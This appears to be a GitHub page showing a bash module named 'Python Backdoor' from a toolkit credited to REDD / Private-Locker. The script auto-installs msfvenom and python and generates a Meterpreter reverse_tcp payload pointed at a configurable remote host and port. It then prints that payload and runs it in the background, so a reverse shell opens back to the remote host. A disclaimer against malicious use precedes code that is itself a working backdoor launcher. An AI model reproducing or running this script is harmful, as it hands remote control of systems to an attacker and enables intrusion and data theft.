-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathpythonbackdoor.tmp
More file actions
79 lines (75 loc) · 2.54 KB
/
pythonbackdoor.tmp
File metadata and controls
79 lines (75 loc) · 2.54 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/bin/bash
# Module Header
MODULENAME="Python Backdoor"
MODULEVERS="1.1"
MODULECRED="REDD"
modcreds;
# End of Module Header
# DISCLAIMER:
# PLEASE DO NOT... DO NOT... I REPEAT... DO... NOT... USE THIS FOR
# MALICIOUS PURPOSES OR MALINTENT. I,(-REDD- or Private-Locker)
# AM NOT LIABLE FOR ANY DAMAGES OR TROUBLE YOU GET INTO BY USING
# THIS "Module".
#
# IF YOU DO NOT KNOW HOW TO USE THIS MODULE, YOU PROBABLY SHOULD
# NOT BE USING IT.
#
# This script requires you to have msfvenom and python installed.
# The script will autoinstall them for you, but you will need to change
# HOST and PORT
#
# -REDD-
HOST=8.8.8.8
PORT=6666
# Temp Tunnel will automatically remove old tunnel file, and remake
# a new tunnel file every time. Set this to NO to detect old tunnel file.
TEMPTUNNEL=YES
mod_noti "Checking for needed software..";
if ! command_exists msfvenom ; then
print_notification "Attempting to install msfvenom..";
sudo -k apt-get install -y msfvenom
check_success;
fi
if ! command_exists python ; then
print_notification "Attempting to install python..";
sudo -k apt-get install -y python
check_success;
fi
echo -e "";
if [[ "$TEMPTUNNEL" == "YES" ]] ; then
mod_checkg "Temporary Tunnel is ACTIVE..";
if [ ! -f "$MODULEDIR/tunnel.py" ]; then
mod_error "No Tunnel to remove.";
else
mod_noti "Removing old copy of tunnel.py..";
rm -rf $MODULEDIR/tunnel.py
fi
else
mod_status "Temporary Tunnel is DEACTIVE..";
fi
echo -e "";
if [ ! -f "$MODULEDIR/tunnel.py" ]; then
mod_noti "Creating Tunnel to execute on Local System to $HOST.";
mod_error " --> This Process can take a few minutes.. <--";
msfvenom -p python/meterpreter/reverse_tcp LHOST=$HOST LPORT=$PORT -a python --platform python -f raw -o $MODULEDIR/tunnel.py > /dev/null 2>&1 &
BACK_PID=$!
printf "\x20\x20\x20\x20\x1B[01;34m[\x3E]\x1B[0m Please Wait."
while kill -0 $BACK_PID > /dev/null 2>&1 ; do
printf "."
sleep 1
done
echo -e "";
mod_checkg "Completed!";
else
mod_noti "Using old tunnel.py.."
mod_noti "Location: $MODULEDIR/tunnel.py"
mod_error " -- REMOVE OLD $MODULEDIR/tunnel.py TO CREATE NEW TUNNEL --";
fi
echo -e "";
mod_noti "Showing content of tunnel.py.. ->";
PRINTCONTENT=$(cat $MODULEDIR/tunnel.py)
echo -e "$PRINTCONTENT";
echo -e "";
mod_noti "Executing Tunnel..";
/usr/bin/python $MODULEDIR/tunnel.py &
mod_checkg "Tunnel has started back to $HOST on port $PORT.";